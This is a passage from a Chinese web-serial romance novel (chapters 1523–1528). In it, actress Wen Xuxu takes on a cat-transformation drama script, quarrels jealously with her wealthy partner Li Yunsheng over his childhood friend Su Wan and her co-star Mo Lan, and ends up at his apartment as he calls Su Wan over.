可他知不知道,他每一次的沉默,都成了苏婉的底气? 他知不知道,他每一次的“体面”,都成了她温栩栩必须独自面对的刀山? 温栩栩指尖收紧,杯脚几乎要被她捏断。 “栩栩?” 秦导的声音把她拉回现实。 他不知什么时候走了过来,手里拿着一份装帧精致的剧本册子,封皮是哑光黑,烫金字体写着《掌心宠爱》两个字。 “给,看看。”他把剧本塞进她手里,笑得神秘,“这本子,我压了三个月,谁都没给。我觉得,只有你能演。” 温栩栩挑眉:“秦导喜欢的,那必然是有点意思的。” “何止有点意思。”秦导在她旁边坐下,压低声音,“你看了就知道。” 温栩栩翻开第一页,剧情简介像一道电流,瞬间击中了她。 她没再说话,低头看了下去。 秦导没打扰她,只是静静看着她。 他知道,温栩栩一进入剧本,就会进入一种近乎“入定”的状态。她会忘记周围的一切,连呼吸都变得轻缓,仿佛怕惊扰了纸上的角色。 灯光落在她低垂的眉眼上,衬得她那颗泪痣格外清晰。她翻页的动作很轻,像在对待一件易碎的珍宝。可她的指尖,却微微发颤。 秦导看懂了。 她在激动。 他笑了。他知道,这本子,她接定了。 包厢里,音乐声、谈笑声、碰杯声依旧喧嚣,可温栩栩的世界,却在这一刻彻底安静了下来。 温栩栩翻开《掌心宠爱》最终版剧本的那一刻,指尖微微发颤。 她原本以为这只是一部普通的偶像剧,顶多加点电竞元素,走个“甜宠+职业”的套路。可当她看到故事大纲的前两页,呼吸就不由自主地慢了下来。 “白富美御姐女霸总,被私生子陷害,注射神秘药剂,意外变成黑猫……被逃婚电竞小少爷捡回家?” 她低声念出剧情梗概,眉梢一点点扬起,眼底的光,像被点燃的星火。 这设定……太妙了。 她迅速翻页,一页页看下去,越看,心跳越快。 最初的版本她也看过,女主是普通电竞选手,因实验药剂不定时变猫咪,靠“萌”博好感,剧情走向偏无脑甜宠,虽然轻松,但缺乏深度。而现在的版本,却完全不一样了。 女主人设从“普通女孩”升级为“豪门继承人”,气场全开,冷静果断,雷厉风行。她不是靠爱情翻身,而是本就强大,只是被至亲背叛,才陷入绝境。而变成黑猫的设定,非但没有削弱她的力量感,反而增添了一层神秘与反差,她以猫的形态,冷眼旁观人性,以猫的直觉,洞察真相。 而男主设定更是精准到骨子里。 第1523章 还真是有点狐假虎威啊 “从小订下娃娃亲,却为追求真爱逃离家族,高中溜出学校打电竞,大学已是电竞圈传奇选手……”温栩栩看到这里,忍不住笑了,“这不就是墨澜本人?” 她早听说墨澜是豪门出身,家里做金融的,父母一度想让他接班,可他偏偏要进娱乐圈当演员,十七岁就离家出走,靠跑龙套养活自己。最惨的时候,睡过网吧,吃泡面吃到吐。可他从没回头。 现在,他要演一个“骄纵浪荡小少爷”,实则内心清醒、有血有肉的电竞选手。 “墨澜本色出演,都不用演。”她喃喃道,眼底满是期待。 她继续往下看。 剧情主线清晰:温以宁(女主)作为温氏集团唯一继承人,被父亲私生子温以辰设计,注射神秘药剂,意外获得“可化黑猫”能力,但无法控制。一次暴雨夜,她以猫形被墨沉(男主)捡回电竞公寓。墨沉不知她是人,只当是只流浪猫,给它起名“小黑”,喂罐头、盖小毯子、陪打游戏。 一人一猫的日常,温馨又搞笑。 他打比赛时,她蹲在显示器旁,尾巴轻轻摆动,偶尔“喵”一声,他就会停下操作,摸摸她的头:“小黑,你懂什么?这波我必须上。” 她想阻止他犯错,急得直抓沙发,他却笑:“你这猫,比我还冲动。” 可渐渐地,他发现不对劲。 小黑太聪明了。他打职业,她会蹲在战术板前盯着看,他输比赛,她会默默趴在他腿上,不吵不闹,他喝醉,她会用爪子推开酒瓶,然后蜷在他怀里,轻轻呼噜。 他开始依赖她。 而她,也在他的温柔里,一点点卸下心防。 直到某天,他醉酒回家,喃喃道:“小黑,我好像疯了,竟然离不开一只猫了……” 她睁大眼,瞳孔骤缩。 下一秒,她化为人形,赤脚站在他面前,黑发披肩,眼神清冷又复杂。 “墨沉,”她轻声道,“我不是猫。” “我是你的未婚妻。” 那一刻,墨沉醉意全消,脸色煞白。 温栩栩看到这里,呼吸都停了。 她不是被剧情震撼,而是被那种情感的张力击中,从一人一猫的日常,到身份揭晓的冲击,再到“未婚妻”三个字的重量,层层递进,甜中带虐,笑中带泪。 “太好了……这本子是真的有意思。”她低声喃喃,指尖轻轻抚过纸页,像在触碰珍宝。 她能演。 她必须演。 这个角色,和她太像了。 她也是那个被压下去的人,是那个被说“名不副实”的人,是那个在黑暗里挣扎,却从未低头的人。 而温以宁,是她的投射,是她的化身,是她内心最深处的渴望,强大、清醒、不靠任何人,却依然被爱。 她翻到最后一页,看到拍摄计划,全剧30集,女主变猫戏份多,实际拍摄集中,预计15天内完成所有镜头。 这部剧她当然会接的。 温栩栩当然接了这部剧。 《掌心宠爱》的合约在《灵媒》杀青宴当晚就签了字。 秦肆的团队效率极高,第二天一早,温栩栩的行程表上就已经有了这部剧的形成。 她没拒绝。 她知道,自己不能停。一旦停下,那些想看她倒下的人,就会蜂拥而上。 而《掌心宠爱》的温以宁,是她最想演的角色,强大、清醒、被背叛却从未疯过。她像一面镜子,照出温栩栩自己都不曾完全看见的影子。 杀青宴结束时已近午夜。 华庭外的风带着初春的寒意,温栩栩裹紧大衣,踩着高跟鞋走向停车场。 她没让助理跟,只想一个人走一段路。可刚走到转角,一辆黑色迈巴赫缓缓停在她面前,车窗降下,露出黎云笙那张冷峻的脸。 “上车。” 他声音很淡,像这夜风一样,听不出情绪。 温栩栩看着他,眼神微微闪烁。她没说话,拉开车门坐了进去。 车内很静,只有淡淡的雪松香。 黎云笙启动车子,驶入夜色。他看了她一眼,见她靠着车窗,眉眼低垂,指尖无意识地摩挲着大衣纽扣。 “怎么了?”他问。 温栩栩没理他。 她不是不想理,是不知道从何说起。 说苏婉的挑衅? 说林芷的阴阳怪气? 还是说,她明明赢了,却还是觉得累? 不,她不想说。 她说不出口的,是那些藏在沉默里的委屈,她被黑时,他从不站出来,她被围攻时,他只说“我帮你压热搜”,她被羞辱时,他连一个眼神都没给苏婉。 可她又贪恋他此刻的温柔。 贪恋他为她披上外套的动作,贪恋他指尖擦过她手背的温度,贪恋他这辆永远为她留着的车。 所以她更恨。 恨他的模棱两可,恨他的若即若离,恨他明明可以给她一个名分,却偏要让她在流言蜚语中独自挣扎。 “温栩栩。”黎云笙将车停在路边,转过身看她,“出什么事了?怎么不理人?” 温栩栩靠在车座上,闭了闭眼:“你还在意我理不理人?你黎家少爷身边红颜知己这么多,我还以为你根本不在意我呢。” 黎云笙挑眉,眸色微沉。 他实在有些不清楚,她这又是在闹什么。他自认对她已足够上心,她被黑,他压热搜,她被封杀,他暗中牵线资源,她接戏,他买下播放权。可她总像隔着一层玻璃,看得见,却触不着。 “你到底要我怎么做?”他声音低了下去,带着一丝疲惫,“要我当众宣布你是我黎云笙的女人?还是让我把苏婉的资源全砍了,给你出气?” 温栩栩睁开眼,冷笑:“你要是真这么做了,才是害我。” 她知道,在这个圈子,一旦被贴上“靠男人”的标签,就再也摘不掉。 她要的是实力被认可,不是靠谁施舍的宠爱。 可她也清楚,黎云笙不懂。 他不懂她为什么不愿被保护,不懂她为什么宁愿受伤也不愿低头,不懂她为什么,明明靠近他,却总在推开他。 “我见到苏婉了。”她终于开口,声音很轻,“在华庭,露台。” 黎云笙眸光一凝。 “她没说话,是她那个闺蜜林芷先拦的我。说什么我拿不出手,说我是靠你才敢嚣张。”温栩栩扯了扯嘴角,“说起来我就是靠着你才这么嚣张的,还真是有点狐假虎威啊。” 第1524章 很想现在就把你留下 黎云笙眸光一凝。 “她没说话,是她那个闺蜜林芷先拦的我。说什么我拿不出手,说我是靠你才敢嚣张。”温栩栩扯了扯嘴角,“说起来我就是靠着你才这么嚣张的,还真是有点狐假虎威啊。” 黎云笙没笑。 “你做得对。”他低声说,“我不拦你。” 温栩栩侧头看他:“那你为什么从不拦她?” 她声音很轻,却像一把刀,直直捅进他心里。 “你拦过林芷吗?你压过苏婉的热搜吗?你当着所有人的面,说过‘温栩栩是我护的人’吗?” 黎云笙沉默。 他没说话。 因为他知道,她说的,都是真的。 他可以为她做很多事,却始终不愿,也不屑,去跟一个不重要的人计较。他以为,只要他不动摇,她就知道自己的位置。 可他忘了,她不是他。 她没有他的底气,没有他的权势,她只有自己。 “我今天看到秦导给的剧本。”温栩栩忽然说,语气平静下来,“《掌心宠爱》。女主是豪门继承人,被私生子陷害,注射药剂,变成黑猫,被男主捡回家。一人一猫,同居,治愈,然后相爱。” 黎云笙听着,指尖微微收紧。 “男主是墨澜演的。”温栩栩看着他,笑得有些凉,“骄纵小少爷,逃婚打电竞,和他本人还挺像的,虽然没有逃婚打电竞,但大家族少爷跑到娱乐圈来演戏也有那么点味道。你说,是不是很有缘分?” 黎云笙眸色一暗。 他听懂了她话里的试探,她在这个时候故意提到墨澜,不就是想看他吃醋? “你是因为苏婉吃醋了?”他问。 温栩栩别开脸:“我吃什么醋?我又不是你什么人。” “可你明明就是。”黎云笙忽然握住她的手,将她指尖放在掌心把玩,指腹摩挲着她手背的薄茧,那是拍戏时留下的,“温栩栩,你知不知道,我的副驾只坐过你一个人。” 温栩栩呼吸一滞。 “那又怎样?”她声音发颤,“你从没说过,我是特别的。” “可你明明知道。”黎云笙靠近她,气息落在她耳畔,“如果我不特别在意你,为什么每次你出事,我都在?为什么你接的每部戏,我都会去看?为什么你被黑时,我比你还生气?” 他顿了顿,声音低得像叹息:“我只是……不想让你被贴上‘靠男人’的标签。我想让你,堂堂正正地,站在我身边。” 温栩栩怔住。 她看着他,眼底泛起水光。 她想信他。 她真的想。 可她也害怕。 怕自己一旦信了,就会变成苏婉那样,为了一个男人,失了自我,疯了心智,最后连尊严都不要了。 “黎云笙。”她轻声说,“我不想成为你的附属品。” “那你成为我的光。”他握住她的手,放在唇边轻吻,“让我,成为你的底气。” 黎云笙吻住温栩栩的那一刻,像一场蓄谋已久的暴风雨终于落下。 他的唇滚烫而强势,带着不容拒绝的力道压下来,温栩栩连呼吸都来不及,就被他卷入这场炽热的漩涡。 她的指尖下意识攥住他衬衫前襟,布料在掌心皱成一团,像她此刻纷乱的心跳。 车内空间逼仄,空气却仿佛被点燃,每一寸都蒸腾着暧昧的温度。 黎云笙的吻由浅入深,从试探到侵占,从温柔到灼烈,像要将她整个人揉进骨血里。温栩栩被亲得浑身发软,肌肤泛起一层薄粉,从颈侧蔓延至耳垂,像被晚霞轻轻吻过。 她忍不住轻哼一声,鼻音绵长,带着几分委屈与迷离,像只被惊扰的猫,轻轻呜咽着躲进主人怀里。 黎云笙低笑,唇角微扬,却没停下,反而将她搂得更紧。 他的手缓缓抚上她后颈,掌心滚烫,指腹轻轻摩挲着她细腻的肌肤,像在安抚一只即将逃走的小兽。他吻得更深,舌尖探入她唇齿之间,缠绵交缠,仿佛要将所有没说出口的话,都融进这个吻里。 温栩栩整个人都软了,靠在他怀里,像一滩水,只想任他揉捏。她手臂环上他的脖子,指尖轻轻揪住他后颈的发,呼吸紊乱,眼神迷离。她在他唇间轻喘,鼻尖蹭着他下颌,像在撒娇,又像在求饶。 “嗯……”她轻轻哼了声,声音软得像棉絮,落在黎云笙耳畔,却像一道惊雷。 他呼吸一滞,眸色骤深。 “怎么了?”他嗓音沙哑,带着压抑的暗流,唇却没离开她,反而沿着她下颌线缓缓下移,落在她修长的颈侧,轻轻啃咬,留下一道浅红的印子。 温栩栩身子一颤,忍不住往他怀里缩了缩,像只被挠到痒处的猫,轻轻蹭了蹭他肩膀,又贴得更紧。 “黎云笙……”她声音轻得像梦呓,带着几分撒娇的意味,“你别……” “别什么?”他低笑,唇印在她眉宇之间,动作轻柔,却带着不容抗拒的占有欲,“别亲你?还是别碰你?” 她没回答,只是闭着眼,睫毛轻颤,像蝴蝶振翅。她忽然仰起脸,主动吻上他唇角,动作轻得像羽毛,却烫得惊人。 黎云笙眸光一暗,大掌猛地收紧,将她整个人按进怀里。 “你这是在勾我。”他声音哑得厉害,像被砂纸磨过,带着压抑的欲望,“温栩栩,你知不知道,你这样,我很想现在就把你留下。” 温栩栩轻轻喘着气,脸颊泛红,眼尾染着水光。她看着他,忽然笑了,笑得狡黠又娇媚。 “那你留下我啊。”她声音软软的,带着几分蛊惑,“你不是一直说,我是你的吗?” 黎云笙盯着她,眸底翻涌着风暴。他忽然低头,再次吻住她,比之前更狠、更深,像要将她整个人吞下去。 温栩栩被亲得几乎窒息,只能被动承受,指尖在他肩头掐出几道红痕。 车内空气越来越稠密,呼吸交缠,心跳共振。 黎云笙的手从她腰际缓缓上移,隔着衣料摩挲着她后背的肌肤,温栩栩忍不住轻颤,发出一声几不可闻的呜咽。 他却像是被这声音刺激到了,吻得更凶,几乎要将她拆吃入腹。 第1525章 哪有作天作地 “你……”温栩栩终于挣开一丝空隙,喘着气,“你别太过分……” “过分?”黎云笙低笑,指尖轻轻抚过她红肿的唇,“你刚才不是还在勾我?现在又说过分?” 温栩栩瞪他,眼神却没半分威慑力,反而水汪汪的,像被欺负狠了的小动物。 她忽然凑近,鼻尖抵住他,轻轻一蹭,像猫儿撒娇,然后,在他耳边,很轻很软地“喵呜”了一声。 黎云笙浑身一僵。 呼吸停滞,心跳骤停。 那声音太软,太娇,像一根羽毛轻轻挠在他心尖上,又像一把火,瞬间点燃了他所有压抑的欲望。 “温栩栩……”他声音低得几乎听不见,带着几分危险的哑意,“你知不知道,你这样,我会控制不住自己?” 温栩栩却笑了,笑得得意又狡黠。她靠在他怀里,蹭了蹭,像只真正的小猫,轻轻贴贴,声音软糯:“这不是要演小猫了吗?当然要像小猫了。” 黎云笙盯着她,眸色深得像夜海。他忽然伸手,大掌捏住她后颈,指腹轻轻揉捏着那片细腻的肌肤。 温栩栩身子一软,忍不住又往他怀里缩。 “别闹,跟墨澜的帐我还没跟你算。” 黎云笙终于松开她,却没退开,而是额头抵着她的,呼吸交缠,嗓音低哑得像被砂纸磨过。 他的眼神暗沉,像藏着一场没爆发的雷雨,盯着她泛红的唇,又缓缓移到她那双水光潋滟的眼眸里。 温栩栩歪着头,眼尾还染着情动的红,却偏要装出一副懵懂无知的模样。她眨了眨眼,睫毛轻颤,像蝴蝶扑了下翅,声音软得能滴出水来:“啊?什么帐?我不懂你在说什么。” 她故意拖长尾音,尾音微微上扬,带着点撒娇的意味,又藏着点挑衅。 黎云笙看着她这副模样,低笑一声,伸手捏了捏她的鼻子,力道不重,却带着不容逃避的意味:“别装傻。我知道你听得懂。” 温栩栩却偏不认,反而更往他怀里缩了缩,脸颊贴着他温热的胸膛,听着他有力的心跳,嘴里还嘟囔着:“我们就是拍一部戏,有什么装不装傻的?还是说——”她抬眼,眸光狡黠地闪了闪,“有人在乱吃飞醋啊?” 黎云笙低笑,指腹轻轻摩挲着她鼻尖,语气却带着几分危险:“你倒是会倒打一耙。我还没问你,怎么就和墨澜二搭了?《掌心宠爱》的剧本,他是不是早就知道你会接?” 温栩栩轻哼一声,终于从他怀里退开一点,却伸手拽住他的领带,力道不大,却带着不容拒绝的牵引。 黎云笙顺着她的力道微微前倾,西装领口被拉得松垮,露出一截清晰的锁骨。 他低头看她,眸光深邃,唇角却还挂着笑,那副含笑的模样,倒也不见生气,却像在等她开口,等她自己把心事抖出来。 温栩栩仰头看他,忽然凑近,在他下巴上轻轻咬了一口。 力道不大,却留下一道浅浅的牙印,带着点惩罚的意味。 “疼不疼?”她眨着眼,装无辜。 “温栩栩。”黎云笙低笑,终于伸手捏住她下巴,指腹摩挲着她泛红的唇,“你又闹什么?刚才不还是猫,现在又变狗了?是不是?” “我才不是狗。”她轻哼,手臂却没松开,反而缠得更紧,整个人贴着他,声音软糯,“我是你的小猫,你不是说我是小猫吗?” 黎云笙眸光一暗,喉结滚动:“可你这猫,太会挠人。” “那你不就喜欢我挠你?”她笑,带着点得意,指尖轻轻划过他领带结,“你要是不喜欢,怎么每次我都一叫,你就来了?” 黎云笙盯着她,忽然低笑出声,伸手将她整个人搂回怀里,吻落在她发顶:“你啊……” 温栩栩却没放过他,仰头看他,眼神里带着点委屈,又带着点控诉:“谁让你跟苏婉掰扯不清的?我生气。” “我怎么不清了?”他挑眉,“我没回她消息,没见她,没给她更多资源,连她生日宴都没去。” “可你也没说清楚!”温栩栩声音陡然拔高,又意识到自己情绪外露,忙压低,却还是带着点酸意,“圈子里谁不知道苏婉是你的人?青梅竹马,从小一起长大,她要资源,你给,她要演电影你也递剧本,她被人说几句,你立刻压热搜。” 她越说越委屈,眼尾泛红,像是真的被刺伤了。 “温栩栩。”黎云笙声音沉了下去,带着从未有过的郑重,“我若真在意她,她现在会是什么地位?” 温栩栩一怔。 “她现在能倚仗的,不过是我没亲手撕破脸。”黎云笙扣住她后颈,迫使她直视自己,“可你要我怎么撕?当着所有人的面,说‘苏婉,你别缠着我’?她若真做了什么伤天害理的事,我早让她滚出这个圈子了。” 他顿了顿,声音低了下去:“她只是……不甘心。我不能因为她的不甘心就毁了她。” 温栩栩咬唇:“所以你就让我一直忍?” “我不是让你忍。”他吻住她唇角,动作轻柔,“我是让你等。等我把所有模糊的界限都划清楚。” 温栩栩看着他,眼底泛起水光。 她忽然笑了,笑得有点涩,又有点甜:“那你可得快点。我等不及的。” 黎云笙低笑,忽然将她打横抱起,温栩栩惊呼一声,下意识搂住他脖子。 “你干嘛?!” “回家。”他步伐稳健地走向电梯,声音低沉,“在车里谈这些你觉得舒服?整日作天作地的,就算要讨伐我也要换个舒服的地方。” “我哪有作天作地!你少冤枉人!”她捶他,脸却埋进他颈窝,嘴角却悄悄扬了起来。 电梯门合上的瞬间,温栩栩的手机震动了一下。 她悄悄掏出手机,屏幕亮起,是一条新消息。 发信人:墨澜。 “杀青宴你人跑哪里去了?” 温栩栩盯着那条消息,指尖顿了顿,还没来得及回复,手机就被黎云笙抽走。 他看也没看,直接锁屏,塞进自己西装内袋。 “温栩栩。”他低头看她,眼神深沉,“你刚才说,你和墨澜,一点暧昧都没有?” 第1526章 有人在乱吃飞醋啊 温栩栩抬眼,迎上他带着点压迫感的目光,忽然笑了,笑得狡黠又无辜:“那你要不要,亲自来查查?” 黎云笙盯着她,忽然低笑出声,将她抱得更紧。 “好啊。”他声音哑得厉害,“我亲自来查。” 黎云笙抱着温栩栩回了公寓。 夜色如墨,城市灯火在身后渐次熄灭,唯有他怀中的人,像一簇不灭的火,灼灼燃烧在他心口。 他不习惯自己的地方有其他人,连打扫的阿姨都是预约时间,打扫完立刻离开。此刻,这间位于城市之巅的顶层公寓,安静得只剩下彼此的呼吸。 他将她轻轻放在柔软的沙发上,动作难得轻柔。 温栩栩懒懒地陷进靠垫里,发丝散落,眼尾还染着未退的红,像只刚被逗弄过的小猫,浑身都透着慵懒与娇气。 黎云笙转身走进厨房,打开恒温箱,取出一盒冷藏的鲜奶,倒入银质小锅,开小火慢热。 他动作熟练,连温度都掌控得精准,不烫不凉,刚好入口。 他记得她所有习惯。 她爱喝热牛奶,但必须是温热的,不能烫,她喝咖啡只加半勺糖,从不加奶,她拍戏时,包里永远放着润唇膏,她生气时,会故意装傻,可一旦撒娇,就代表她已经准备原谅你了。 他将牛奶倒入白瓷杯,又从玻璃罐里舀了一勺天然雪蜜,轻轻搅匀。 “放蜂蜜了没有?”她靠在沙发扶手上,下巴微扬,眼神亮晶晶的,带着点小得意地问,“我要喝放蜂蜜的。” 黎云笙端着杯子走过来,眉梢微挑,伸手捏了捏她的脸:“又闹?刚才在车上不是还很凶?现在倒学会提要求了?” “那不一样。”她哼了一声,伸手接过杯子,捧在手心,像捧着什么珍宝,轻轻吹了口气,热气氤氲,模糊了她的眼眸,“那是工作,这是生活。生活里,我当然可以作一下。” 黎云笙低笑,坐在她身边,手臂随意搭在沙发靠背上,目光却始终落在她身上。 “温栩栩,”他忽然开口,“你是不是觉得,我对你不够上心?” 她抬眼看他,睫毛轻颤:“我没有这么说。” “可你心里在想。”他伸手,指尖轻轻抚过她唇角,“你刚才在车上说,我给苏婉资源,给她电影,给她体面。可你呢?我好像什么都没给你。” 温栩栩低头,没说话。 她不是没感觉。 她只是……不想承认自己在意。 她想要安全感。 而不是永远活在“他是不是也在这样对别人”的猜忌里。 “我不是要你给我什么。”她轻声说,“我只是……不想每次都被拿来和她比。她是你青梅,你护她,我懂。可我呢?我算什么?” 黎云笙看着她,眸色深沉。 他忽然伸手,将她整个人捞进怀里,让她坐在自己腿上。温栩栩惊呼一声,手忙脚乱地扶住他肩膀,杯子差点打翻。 “黎云笙!牛奶!” “洒了再热。”他扣住她后颈,迫使她直视自己,“可有些话,我不想再说第二遍。” 他声音低沉,带着从未有过的郑重:“温栩栩,你不是苏婉。她是我小时候的影子,你是我的现在和未来。我给她体面,是因为她父亲救过我爷爷,那是恩情。可我给你的,是心。你明白吗?” 温栩栩心跳漏了一拍。 她看着他,眼底泛起水光。 “那……”她声音轻得像梦呓,“你为什么不告诉我?” “我担心你会害怕。”他吻了吻她眉心,“怕你觉得我太强势,怕你觉得我太控制欲,怕你转身就走。你太独立了,独立到让我害怕。我怕我一说,你就逃。” 温栩栩怔住。 她从未想过,黎云笙这样的人,也会怕。 怕她走,怕她逃,怕她不爱。 她忽然笑了,笑得有点涩,又有点甜,伸手环住他脖子,额头抵着他额头:“那你现在告诉我了,我还能逃吗?” “不能了。”他低笑,吻住她,“从你第一次站上舞台,从你第一次被黑,从你第一次一个人面对全世界的时候,你就已经是我的了。” 温栩栩心跳如雷。 她正要开口,手机忽然响了。 铃声突兀地打破暧昧,她低头一看,是许愿。 她接通,声音还带着点刚被亲过的软:“喂?” “杀青快乐啊,温老师!”许愿的声音从那头传来,带着点小兴奋,“我们刚在华庭吃完饭,你还在吗?要不要来碰个面?盛景炎也在这儿。” 温栩栩抬眼,看向黎云笙,眼神带着点控诉:“我已经被黎云笙接走了,都怪他。” 黎云笙挑眉,没说话,只是伸手捏了捏她的耳垂,动作亲昵。 许愿顿了顿,随即笑出声,“黎少亲自接的?那难怪了。他大概是担心你,才想先把你带回家吧?你这满嘴怨怼的,他又招惹你了?” “对啊。”温栩栩故意拖长尾音,靠在黎云笙肩上,声音甜腻,“他给我热牛奶,竟然不放蜂蜜!气死我了。” “……”电话那头,许愿沉默了。 跟许愿在一起的盛景炎也满头问号,凑过来问:“她刚才说什么?牛奶不放蜂蜜?所以她现在是在秀恩爱?” “应该是。”许愿无奈,“可她语气像在告状。” 盛景炎直接拿过手机,声音朗朗:“温栩栩,你到底是在秀恩爱还是在埋怨生气?” 温栩栩笑了,笑得明媚:“我当然是在秀恩爱啊!你看,我男人亲自接我,给我热牛奶,还被我骂了都不生气。” “……”盛景炎被噎住,随即嗤笑,“行,你赢了。不过我刚碰见墨澜了,他问我你在不在,说有点事要找你,你方不方便解释下……你跟墨澜,到底什么关系?怎么一眼瞧不见你,他就要找你了?” 温栩栩一愣。 还没等她开口,黎云笙已经伸手,将她手机从耳边抽走,直接按了挂断。 “喂!”温栩栩瞪他,“你干嘛?” 黎云笙将手机放在茶几上,随即伸手将她重新搂回怀里,动作强势:“解释解释,你跟墨澜之间,什么关系?” 温栩栩看着他,忽然笑了,笑得狡黠又无辜:“你说墨澜啊?我们就是拍一部戏,有什么装不装傻的?还是说……”她凑近他耳畔,轻声说,“有人在乱吃飞醋啊?” 黎云笙盯着她,眸光渐暗,忽然将她整个人打横抱起,温栩栩惊呼一声,下意识搂住他脖子。 “你干嘛?!” 第1527章 你是真不怕我生气? 黎云笙把她放到床上时,动作比平时重了些,像是终于卸下克制,带着点惩罚的意味。 温栩栩却不怕,反而顺势一滚,整个人陷进柔软的被褥里,发丝散开,像泼开的墨,她懒懒地翻了个身,又往床中央蹭了蹭,像只霸占领地的猫,故意不看他,只把后背留给他。 “温栩栩。”黎云笙站在床边,声音低哑,带着点警告,“别闹了。” 她却哼了一声,终于侧过脸来,眼眸亮得惊人,带着点挑衅:“我哪里闹了?我不过就是说了实话。你跟苏婉才不清不楚呢,我跟墨澜之间,清清白白,连微信都没多聊几句。” “哦?”黎云笙挑眉,缓步走近,伸手撑在她身侧,将她困在方寸之间,“那为什么我一走,他就打电话?我一接你,他就问你在哪?温栩栩,你当我瞎?” “那你当我傻?”她仰头,鼻尖几乎蹭到他下巴,声音软糯却带着刺,“我跟墨澜连杀青宴都没一起走,他问我是不是在华庭,我就得立刻解释?那你呢?苏婉呢?那我是不是也该去问你,你们到底什么关系?” 黎云笙盯着她,忽然笑了。 那笑里带着点无奈,又带着点宠溺,像是拿她没办法。 “你啊……”他伸手,指尖轻轻刮过她鼻尖,“你是真不怕我生气?” “你不会。”她伸手勾住他脖子,把自己往他怀里带了带,脸颊贴着他衬衫,听着他心跳,“你要是真生气,早就不理我了。可你每次,都只是看着我,然后给我热牛奶,然后让我撒娇。你就是纵着我,惯着我,让我越来越无法无天。” “那你还想怎样?而且,你难道不应该先解释清楚你跟墨澜的关系?只说这两句可不够。”他低头,吻落在她眉心。 “黎云笙,你是不是在吃醋?”温栩栩靠在床头,发丝微乱,眼尾泛着情动后的红,唇角却扬着一抹狡黠的笑,像只刚偷了鱼的猫,故意晃着尾巴。 黎云笙站在床边,西装早已脱下,衬衫袖口卷至小臂,露出结实的线条。他看着她,眸色深沉,像是被她这副模样气笑了。 “我不清楚。”他声音低哑,带着几分无奈,“我清楚的是你跟墨澜确实走的有些近,而他的电话也确实有些多。” “那是他关心同事!”温栩栩翻了个身,整个人赖在床上,像条滑溜溜的鱼,还故意滚了滚,裙摆掀到大腿根,露出一截白皙的肌肤,“你别污蔑我,我跟墨澜之间清清白白,连单独吃饭都没有过。你要是不信,可以去查行程啊,黎少爷。” 黎云笙啧了一声,终于伸手将她拎回来,按在怀里:“你又在胡闹。” “我才不是胡闹,我是在撒娇。”她伸手搂住他脖子,脸颊蹭着他下颌,声音软糯,“你不是最喜欢我撒娇吗?” “我是喜欢。”他低头吻她,却在她唇边停住,“可你这招,是转移注意力。” 温栩栩哼了一声,忽然从他怀里挣开,整个人往后一倒,又滚回床中央,抱着抱枕翘起腿:“我有什么可转移的?我行得端坐得正,跟墨澜之间就是正常朋友。倒是你……”她忽然抬眼,眸光亮得惊人,“你跟苏婉才不清不楚呢。” 她又一次把人点出来了。 苏婉。 黎云笙眸色微沉。 他没否认。 温栩栩看着他,心里却悄悄笑了。 她知道,她戳中了。 苏婉是黎云笙的青梅竹马,从小一起长大,圈子里谁不知道? 当年她刚入行时,黎云笙为她砸资源、建公司、压热搜,连她被拍到夜会男模,他都能一句“我安排的”轻描淡写带过。 “怎么?”她歪头,发丝垂落肩头,“我说错了吗?你不是还让她住你名下的别墅?不是连她生日宴,你都亲自到场?” 黎云笙盯着她,忽然笑了。 那笑,带着点被气笑的无奈,又带着点宠溺的纵容。 他忽然俯身,手撑在她身侧,将她困在方寸之间,声音低得像耳语:“温栩栩,你要这么说,那不如现在我就一通电话把苏婉叫过来,当着你的面,说个明白。” 温栩栩一愣。 随即,她笑了。 笑得明媚又张扬,像只终于抓到猎物的狐狸。 “行啊。”她支棱起身子,膝盖抵着他腰侧,手指还故意戳了戳他胸口,“你叫啊,我现在就坐在这儿,等她来。我倒要看看,她见了我,是喊我‘嫂子’,还是继续装看不见。” 她偏就是这种人,得寸进尺,有杆就爬。 可黎云笙知道,她不怕。 她敢叫板,敢对峙,敢把所有暗流都翻到台面上,因为她知道,他不会真让她难堪。 “你啊……”他忽然伸手,将她整个人捞进怀里,吻落在她额角,带着点无奈,又带着点笑,“你是真不怕我?” “怕你?”温栩栩仰头,鼻尖蹭着他下巴,声音软糯,“我怕你什么?怕你不要我?可你要是真不要我,还会亲自接我回家,给我热牛奶,还怕我被苏婉欺负?” 黎云笙呼吸一滞。 他忽然将她搂得更紧,像怕她飞了。 “你明知道我不是这个意思。”他声音低哑,“我怕的是你太聪明,聪明到把我所有退路都堵死。” “那你就不该给我机会。”她伸手勾住他脖子,鼻尖抵住他,眼眸亮得像星子,“从你第一次吻我,从你第一次为我压热搜,从你第一次说‘她是我的’,你就该知道,我不会放你走。” 黎云笙看着她,忽然低笑出声。 他伸手抚过她发丝,指腹摩挲着她后颈的肌肤,声音温柔得不像话:“好啊,那你就别走。温栩栩,你要是敢逃,我一定亲自把你抓回来。” 温栩栩眼睛亮得惊人,像夜空中骤然炸开的星火,她望着黎云笙,唇角微扬,带着点挑衅又带着点期待:“你快把苏婉叫过来,我已经迫不及待想见她了。我想看看,你到底要怎么解释,你和她之间的关系。” 第1528章 像极了吃醋的正宫 黎云笙站在落地窗前,城市灯火如星河般流淌在他身后。他看着她,忽然笑了,那笑里有无奈,有纵容,还有一丝几不可察的宠溺。他伸手捏了捏她的脸:“好,我把人叫过来。” 他当着她的面,拨通了苏婉的电话。 电话只响了两声就被接起,苏婉的声音带着掩饰不住的惊喜:“云笙?” “是我。”黎云笙声音平静,“你现在有空吗?来我公寓一趟。” “你……你公寓?”苏婉的声音瞬间拔高,带着压抑不住的激动,“你终于愿意见我了?是不是……想通了?” “有些事,当面说清楚比较好。”黎云笙语气淡淡,目光却落在温栩栩身上,“你过来吧。” “好!我马上来!”苏婉几乎是立刻答应,连问都没问还有谁在场,就匆匆挂了电话。 温栩栩靠在床头,手里把玩着黎云笙的领带,眼尾含笑,像只看戏的猫。 她歪头看他:“她是不是以为你这个时间约她,是要把‘有些事’说清楚,然后顺便……生米煮成熟饭?” 黎云笙挑眉,走过去将她拉进怀里,指腹摩挲着她后颈的肌肤:“你又在胡说八道。” “我胡说?”温栩栩轻哼一声,忽然从他怀里挣开,赤脚跳下床,走到衣柜前翻找,“你等着,我得换身衣服,不能让人觉得我多没底气,连见个青梅竹马都要穿睡衣。” 黎云笙看着她忙碌的背影,忽然笑了。 他走过去,从背后环住她,下巴搁在她肩上:“你这样子,像极了吃醋的正宫。” “我本来就是。”她回头,鼻尖蹭着他下巴,笑得狡黠,“你不是说要清楚吗?那我就陪你,把这场戏演到底。” 